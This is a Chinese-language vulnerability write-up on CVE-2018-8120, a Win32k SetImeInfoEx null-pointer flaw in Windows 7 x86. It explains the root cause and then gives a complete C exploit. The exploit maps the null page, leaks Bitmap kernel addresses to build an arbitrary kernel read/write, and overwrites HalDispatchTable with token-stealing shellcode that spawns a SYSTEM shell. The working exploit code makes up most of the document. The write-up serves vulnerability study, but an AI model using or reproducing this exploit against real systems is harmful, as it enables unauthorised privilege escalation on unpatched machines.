CVE-2018-8120

1、前言

---

 

借着這次來成都輪崗的機會跟tp老哥好好學習一下漏洞，這個cve-2018-8120准備從頭到尾好好調試一下。

2、實驗環境

---

 

• windows7 x86 sp1
  
• Windbg
• IDA
• ProcessHacker

3、漏洞成因

---

 

Win32k!SetImeInfoEx中在使用Win32k!TagWindowStation對象中的spklList成員時並沒有進行判斷。

 通過交叉引用發現NtUserSetImeInfoEx調用了這個函數。

　　由於我們通過CreateWindowStation的Win32k!TagWindowStation.spklList默認為0，因此我們使用SetProcessWindowStation將我們創建的Win32k!TagWindowStation對象綁定到當前程序窗口，在通過手動調用NtSetUserImeInfoEx，就會造成0地址訪問而藍屏。

4、實驗

---

 

通過PCHunter找到NtSetUserImeInfoEx的序號然后根據不同版本系統構造不同的系統調用（通過OD觀察）。

 

 

知道序號和系統調用方式后編寫代碼觸發漏洞。

成功觸發藍屏

5、利用

---

 

　　由於在Win7中我們可以通過NtAllocateVirtualMemory申請到0地址的空間，所以我們就有了控制SetImeInfoEx中a1的能力，其中參數a2則是我們傳給NtUserSetImeInfoEx的數組。因此我們就能利用SetImeInfoEx中memcpy來進行任意地址寫，但由於memcpy寫的長度固定不可控，因此直接覆蓋HalDispatchTable會造成其他相鄰數據被破壞。這里利用BitMap內核讀寫（不要問我怎么知道的，問就是跟大佬學的）。

• 0地址頁面利用NtAllocateVirtualMemory

PVOID baseAddress = 0x100;
PVOID RegionSize = 0x1000;
_ZwAllocateVirtualMemory ZwAllocateVirtualMemory = 0;
ZwAllocateVirtualMemory = GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwAllocateVirtualMemory");
ZwAllocateVirtualMemory(GetCurrentProcess(), &baseAddress, NULL, &RegionSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

• HalDispatchTable利用ZwQuerySystemInformation找到內核模塊后加載查導出表

    DWORD SysModuleSize;
    PVOID NtKernelAddr;
    PVOID NtKernelAddr_InUser;
    PVOID HalDispatchTable;
    char* ImageName;
    char NtKernelImageName[256] = {0};
    PSYSTEM_MODULE_INFORMATION SysModule;
    _ZwQuerySystemInformation ZwQuerySystemInformation;
    
    ZwQuerySystemInformation = GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwQuerySystemInformation");
    ZwQuerySystemInformation(11, NULL, NULL, &SysModuleSize);
    SysModule = malloc(SysModuleSize);
    ZwQuerySystemInformation(11, SysModule, SysModuleSize, &SysModuleSize);

    NtKernelAddr = SysModule->Module[0].Base;
    strcpy_s(NtKernelImageName, 256, SysModule->Module[0].ImageName);
    ImageName = strrchr(NtKernelImageName, '\\') + 1;
    NtKernelAddr_InUser = LoadLibrary(ImageName);
    HalDispatchTable = GetProcAddress(NtKernelAddr_InUser, "HalDispatchTable");
    HalDispatchTable = (PVOID)((DWORD)HalDispatchTable - (DWORD)NtKernelAddr_InUser + (DWORD)NtKernelAddr);

• BitMap內核對象泄露

　　從網上的資料來看，我們在用戶層調用CreateBitMap后返回的句柄低兩字節是一個指向GdiCell結構的索引，而這個結構指針保存在PEB.GdiSharedHandleTable。

typedef struct _GdiCell
{
    PVOID pKernelAddress;
    UINT16 wProcessIdl;
    UINT16 wCount;
    UINT16 wUpper;
    UINT16 uType;
    PVOID pUserAddress;
}GdiCell,*pGdiCell;

　　在分析SetBitMapBits時，在NtGdiSetBitMapBits里面找到了將句柄轉換為內核對象的代碼。發現這個計算方法和網上公開的一樣，我們有理由懷疑這個GdiSharedHandleTable_InKernel和PEB.GdiSharedHandleTable是同一個數組。經過在WIndbg中進行驗證（如下圖）的確為同一個數組，經Windbg驗證是同一物理頁面在用戶空間也映射了一份。

 

 

 

 

 

結合ReactOS和網上的資料可以看到SetBitMapBits和GetBitMapBits是操作的SURFOBJ中的pvScan0成員。

 

 

　　但是由於漏洞中的memcpy大小不可控，所以回覆蓋一部分的SURFOBJ成員，所以我們需要修復某些在Set/GetBitMapBits時所必須的成員(需要修復的值是可以在bDoGetSetBitmapBits中分析得出，這里我直接抄的別人的...)。

 

• 完整代碼

#include<stdio.h>
#include<windows.h>


int syscall_index = 0x1226;
#define PEB_GdiSharedHandleTable 0x94  //win7 x86 sp1

typedef struct _GdiCell
{
    PVOID pKernelAddress;
    UINT16 wProcessIdl;
    UINT16 wCount;
    UINT16 wUpper;
    UINT16 uType;
    PVOID pUserAddress;
}GdiCell,*pGdiCell;

typedef NTSTATUS  (__stdcall *_ZwAllocateVirtualMemory)(
    _In_    HANDLE    ProcessHandle,
    _Inout_ PVOID* BaseAddress,
    _In_    ULONG_PTR ZeroBits,
    _Inout_ PSIZE_T   RegionSize,
    _In_    ULONG     AllocationType,
    _In_    ULONG     Protect
);

typedef NTSTATUS (__stdcall*_ZwQuerySystemInformation)(
    _In_      DWORD SystemInformationClass,
    _Inout_   PVOID                    SystemInformation,
    _In_      ULONG                    SystemInformationLength,
    _Out_opt_ PULONG                   ReturnLength
);


typedef NTSTATUS(WINAPI* _NtQueryIntervalProfile)(IN ULONG   ProfileSource,
    OUT PULONG Interval);


typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
    HANDLE Section;
    PVOID MappedBase;
    PVOID Base;
    ULONG Size;
    ULONG Flags;
    USHORT LoadOrderIndex;
    USHORT InitOrderIndex;
    USHORT LoadCount;
    USHORT PathLength;
    CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;

typedef struct _SYSTEM_MODULE_INFORMATION {
    ULONG Count;
    SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;



void __declspec(naked) NtSetUserImeEx(int a)
{
    __asm
    {
        mov esi,a
        mov eax,syscall_index
        mov edx,0x7ffe0300
        call dword ptr[edx]
        ret 4
    }
}

void __declspec(naked) GetSystemToken()
{
    __asm
    {
        pushad
        mov eax,fs:[0x124]  //CurrentThread
        mov eax,[eax+0x150] //Process  
        lea edx,[eax+0xf8]  //MyProcess.Token
noFind:
        mov eax,[eax+0xb8]  //Eprocess.ActiveProcessLinks
        sub eax,0xb8        //next Eprocess struct
        mov ebx,[eax+0xb4]  //PID
        cmp ebx,4
        jnz noFind
        mov eax,[eax+0xf8]    //System.Token
        mov [edx],eax
        lock inc [eax]
        lock inc[eax]
        popad
        ret
    }
}


int main(int argc,char** argv)
{

//泄露內核對象地址
    DWORD Manage_kernel, Worker_kernel, bitMapKernelAddress;
    HBITMAP hManage;
    HBITMAP hWorker;

    hManage = CreateBitmap(5, 5, 5, 5, NULL);
    hWorker = CreateBitmap(5, 5, 5, 5, NULL);
    __asm
    {
        mov eax,fs:[0x30]
        mov eax,[eax+ PEB_GdiSharedHandleTable]
        mov bitMapKernelAddress,eax
    }
    Manage_kernel = *(DWORD*)(((DWORD)hManage & 0xffff) * sizeof(GdiCell) + bitMapKernelAddress); 
    Worker_kernel = *(DWORD*)(((DWORD)hWorker & 0xffff) * sizeof(GdiCell) + bitMapKernelAddress);

    

//獲取HalDispatchTable表地址
    DWORD SysModuleSize;
    PVOID NtKernelAddr;
    PVOID NtKernelAddr_InUser;
    PVOID HalDispatchTable;
    char* ImageName;
    char NtKernelImageName[256] = {0};
    PSYSTEM_MODULE_INFORMATION SysModule;
    _ZwQuerySystemInformation ZwQuerySystemInformation;
    
    ZwQuerySystemInformation = GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwQuerySystemInformation");
    ZwQuerySystemInformation(11, NULL, NULL, &SysModuleSize);
    SysModule = malloc(SysModuleSize);
    ZwQuerySystemInformation(11, SysModule, SysModuleSize, &SysModuleSize);

    NtKernelAddr = SysModule->Module[0].Base;
    strcpy_s(NtKernelImageName, 256, SysModule->Module[0].ImageName);
    ImageName = strrchr(NtKernelImageName, '\\') + 1;
    NtKernelAddr_InUser = LoadLibrary(ImageName);
    HalDispatchTable = GetProcAddress(NtKernelAddr_InUser, "HalDispatchTable");
    HalDispatchTable = (PVOID)((DWORD)HalDispatchTable - (DWORD)NtKernelAddr_InUser + (DWORD)NtKernelAddr);
    (DWORD)HalDispatchTable += 4;

//申請0地址內存並構造SURFOBJ，使Manage.pvScan0 = &Worker.pvScan0
    DWORD* p = NULL;
    PVOID baseAddress = 0x100;
    PVOID RegionSize = 0x1000;
    _ZwAllocateVirtualMemory ZwAllocateVirtualMemory = 0;
    ZwAllocateVirtualMemory = GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwAllocateVirtualMemory");
    ZwAllocateVirtualMemory(GetCurrentProcess(), &baseAddress, NULL, &RegionSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    

    DWORD ime[0x57] = {0x90};
    HWINSTA hsta = CreateWindowStation(0, 0, READ_CONTROL, 0);
    SetProcessWindowStation(hsta);

    *(p + 5) = (Worker_kernel + 0x10 + 0x20);  //sizeof(SURFACE.BASEOBJECT) = 0x10
                                               //offset(SURFOBJ.pvScan0) = 0x20
    ime[0] = (Worker_kernel + 0x10 + 0x20);    //while ( p[5] != *ime )

    *(p + 0xb) = (Manage_kernel + 0x10 + 0x20);   //v4 = (_DWORD *)p[0xB];
                        //if (!v4)
                        //    return 0;
    //fix some member what Set/GetBitMapBits use

    DWORD* pp = (DWORD*)& ime[1];                //以下是要修復的一些成員
    pp[0] = 0x180;
    pp[1] = 0xabcd;
    pp[2] = 6;
    pp[3] = 0x10000;
    pp[5] = 0x4800200;



//觸發漏洞
    NtSetUserImeEx(&ime);

    DWORD oldHalDispatchTable;
    PVOID ShellCode= GetSystemToken;
    SetBitmapBits(hManage, 4, &HalDispatchTable);
    GetBitmapBits(hWorker, 4, &oldHalDispatchTable);
    SetBitmapBits(hWorker, 4, &ShellCode);

    _NtQueryIntervalProfile NtQueryIntervalProfile;
    ULONG Interval = 0;
    NtQueryIntervalProfile = (_NtQueryIntervalProfile)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile");
    NtQueryIntervalProfile(0x1337, &Interval);
    SetBitmapBits(hWorker, 4, &oldHalDispatchTable);

    system("cmd");

    return 0;
}

• 效果截圖

 

 6、參考資料

---

 

https://www.cnblogs.com/amaza/p/9557838.html#bitmap-gdi%E5%87%BD%E6%95%B0%E5%AE%9E%E7%8E%B0%E5%86%85%E6%A0%B8%E4%BB%BB%E6%84%8F%E5%9C%B0%E5%9D%80%E8%AF%BB%E5%86%99
https://www.freebuf.com/column/173797.html
https://bbs.pediy.com/thread-225436.htm

 

利用代碼： <https://github.com/DreamoneOnly/CVE-2018-8120/tree/master>